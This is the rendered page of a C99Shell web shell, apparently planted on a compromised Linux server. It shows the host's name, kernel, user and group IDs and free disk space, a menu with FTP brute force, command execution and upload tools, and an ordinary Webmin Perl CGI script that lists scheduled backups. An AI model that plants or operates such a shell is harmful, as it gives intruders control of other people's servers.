!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     list_sched.cgi (2.75 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show a list of all scheduled backups

require './virtual-server-lib.pl';
&ReadParse();
&can_backup_sched() || &error($text{'sched_ecannot'});
&can_backup_domain() || &error($text{'backup_ecannot'});
&ui_print_header(undef, $text{'sched_title'}, "", "sched");

@scheds = &list_scheduled_backups();
@scheds = grep { &can_backup_sched($_) } @scheds;

# Work out what to show
$hasinc = &has_incremental_tar() && &has_incremental_format();
@table = ( );
$hasowner = 0;
if (&can_backup_domain() == 1) {
    # For master admin, show it if any schedule has a non-master owner
    ($hasowner) = grep { $_->{'owner'} } @scheds;
    }
elsif (&can_backup_domain() == 3) {
    # For resellers, always show owner column
    $hasowner = 1;
    }

# Build table of backups
$hasdesc = 0;
foreach $s (@scheds) {
    $hasdesc = 1 if ($s->{'desc'});
    }
foreach $s (@scheds) {
    my @row;
    push(@row, { 'type' => 'checkbox', 'name' => 'd',
                  'value' => $s->{'id'}, 'disabled' => $s->{'id'}==1 });
    @dests = &get_scheduled_backup_dests($s);
    @nices = map { &nice_backup_url($_, 1) } @dests;
    push(@row, &ui_link("backup_form.cgi?sched=$s->{'id'}",
                join("<br>\n", @nices)));
    push(@row, &nice_backup_doms($s));
    push(@row, &html_escape($s->{'desc'})) if ($hasdesc);
    push(@row, $s->{'enabled'} ?
        &text('sched_yes', &cron::when_text($s)) :
        "<font color=#ff0000>$text{'no'}</font>");
    if ($hasinc) {
        # Differential level
        push(@row, $s->{'increment'} == 1 ? $text{'sched_inc'} :
               $s->{'increment'} == 2 ? $text{'sched_inc2'} :
                                $text{'sched_full'});
        }
    # Creator of the backup
    if ($hasowner) {
        if ($s->{'owner'}) {
            $od = &get_domain($s->{'owner'});
            push(@row, $od ? $od->{'user'} : $s->{'owner'});
            }
        else {
            push(@row, "");
            }
        }
    # Action links
    @links = ( );
    push(@links, "<a href='backup_form.cgi?oneoff=$s->{'id'}'>".
             "$text{'sched_now'}</a>");
    push(@links, "<a href='restore_form.cgi?sched=$s->{'id'}'>".
             "$text{'sched_restore'}</a>") if (&can_restore_domain());
    push(@links, "<a href='backuplog.cgi?sched=$s->{'id'}'>".
             "$text{'sched_logs'}</a>");

    push(@row, &ui_links_row(\@links));
    push(@table, \@row);
    }

# Output the form and table
print &ui_form_columns_table(
    "delete_scheds.cgi",
    [ [ 'delete', $text{'sched_delete'} ],
      [ 'disable', $text{'sched_disable'} ],
      [ 'enable', $text{'sched_enable'} ] ],
    1,
    [ [ "backup_form.cgi?new=1", $text{'sched_add'} ] ],
    undef,
    [ "", $text{'sched_dest'}, $text{'sched_doms'},
      $hasdesc ? ( $text{'sched_desc'} ) : ( ),
      $text{'sched_enabled'},
      $hasinc ? ( $text{'sched_level'} ) : ( ),
      $hasowner ? ( $text{'sched_owner'} ) : ( ),
      $text{'sched_actions'} ],
    100, \@table, [ '', 'string', 'string' ],
    0, undef,
    $text{'sched_none'});

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--